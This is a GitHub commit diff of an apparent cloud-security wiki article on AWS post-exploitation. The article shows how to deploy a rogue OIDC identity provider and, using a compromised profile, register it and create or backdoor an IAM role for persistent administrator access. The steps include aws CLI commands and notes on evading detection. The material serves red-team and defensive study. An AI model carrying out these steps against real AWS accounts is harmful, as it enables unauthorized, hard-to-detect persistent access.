Skip to content

Commit 02567b7

Browse files
authored
Merge pull request #456 from saw-your-packet/main
fix(rogue-iam): number steps
2 parents 90da0bf + e8d8218 commit 02567b7

1 file changed

Lines changed: 12 additions & 12 deletions

File tree

content/aws/post_exploitation/iam_rogue_oidc_identity_provider.md

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -24,19 +24,19 @@ This technique involves deploying an OIDC web server, creating an OIDC Identity
2424

2525
Before we begin, you will need a domain for this technique. AWS doesn't accept as OIDC Identity Providers IP addresses or domains that use self-signed certificates.
2626

27-
1. Start an EC2 instance
27+
### 1. Start an EC2 instance
2828

2929
> Environment: attacker
3030
3131
You will need a server to deploy the web OIDC Identity Provider (IdP). This server should expose port 443 to the internet.
3232

33-
2. Configure a DNS record
33+
### 2. Configure a DNS record
3434

3535
> Environment: attacker
3636
3737
Add an A DNS record for a subdomain that will point to the IP of the EC2 instance. For the rest of the article we will assume that the subdomain is named `oidc` and the domain is `example.com`.
3838

39-
3. Connect to the instance and download Rogue OIDC IdP server
39+
### 3. Connect to the instance and download Rogue OIDC IdP server
4040

4141
> Environment: attacker
4242
@@ -46,7 +46,7 @@ sudo yum install git
4646
git clone https://github.com/OffensAI/RogueOIDC
4747
```
4848

49-
4. Generate certificate
49+
### 4. Generate certificate
5050

5151
> Environment: attacker
5252
@@ -57,7 +57,7 @@ sudo yum install certbot
5757
sudo certbot certonly --standalone -d oidc.example.com
5858
```
5959

60-
5. Configure Rogue OIDC Identity Provider
60+
### 5. Configure Rogue OIDC Identity Provider
6161

6262
> Environment: attacker
6363
@@ -80,7 +80,7 @@ HOST=0.0.0.0
8080
PORT=443
8181
```
8282

83-
6. Install requirements
83+
### 6. Install requirements
8484

8585
> Environment: attacker
8686
@@ -94,7 +94,7 @@ source web/bin/activate
9494
pip install -r requirements.txt
9595
```
9696

97-
7. Start the server
97+
### 7. Start the server
9898

9999
> Environment: attacker
100100
@@ -104,7 +104,7 @@ sudo web/bin/python main.py
104104

105105
Verify that `https://odic.example.com/.well-known/openid-configuration` is accessible and reflects the configurations made.
106106

107-
8. Create the OIDC provider
107+
### 8. Create the OIDC provider
108108

109109
> Environment: victim
110110
@@ -114,15 +114,15 @@ This command will be executed using the compromised identity from the victim's a
114114
aws --profile compromised_user iam create-open-id-connect-provider --url https://oidc.example.com --client-id-list oidc_client
115115
```
116116

117-
9. Persistence
117+
### 9. Persistence
118118

119119
> Environment: victim
120120
121121
There are two ways to achieve persistence. The first involves creating a role with a trust policy for the OIDC IdP and attaching a policy to it afterwards. This might be easily detected.
122122

123123
The second one involves modifying the trust role policy of an existing role. While this is still a well-known persistence technique, combining it with an OIDC IdP may evade detection by some tools and defenders.
124124

125-
9.1 Create a new role with this OIDC Identity Provider in the trust policy
125+
#### 9.1 Create a new role with this OIDC Identity Provider in the trust policy
126126

127127
The trust role policy document can be found below. Make sure it matches the client ID and subject configured in the Rogue OIDC server.
128128

@@ -157,15 +157,15 @@ aws --profile compromised_user iam attach-role-policy --role-name poc-random-str
157157

158158
Now you just created an administrator role that can be assumed with the last step from the article. Keep in mind that is enough to create a role, without attaching any policies for doing a PoC.
159159

160-
9.2 Modify the role trust policy of an existing role
160+
#### 9.2 Modify the role trust policy of an existing role
161161

162162
With this method you would ideally get the trust policy of an existing role, modify it by adding your OIDC provider and update the role with the new policy document. This way, the role would continue to work, but it would also be backdoored.
163163

164164
```bash
165165
aws --profile compromised_user iam update-assume-role-policy --role-name poc-random-string --policy-document file://policy.json
166166
```
167167

168-
10. Assume the role
168+
### 10. Assume the role
169169

170170
Finally, you can now assume the role at any time. The script for assuming it is in the same repository as the Rogue web OIDC IdP.
171171

0 commit comments

Comments
 (0)